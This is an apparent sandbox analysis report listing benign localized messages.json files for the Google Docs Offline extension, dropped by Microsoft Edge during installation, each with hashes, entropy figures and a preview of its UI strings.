C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\nn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir8160_916362056\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
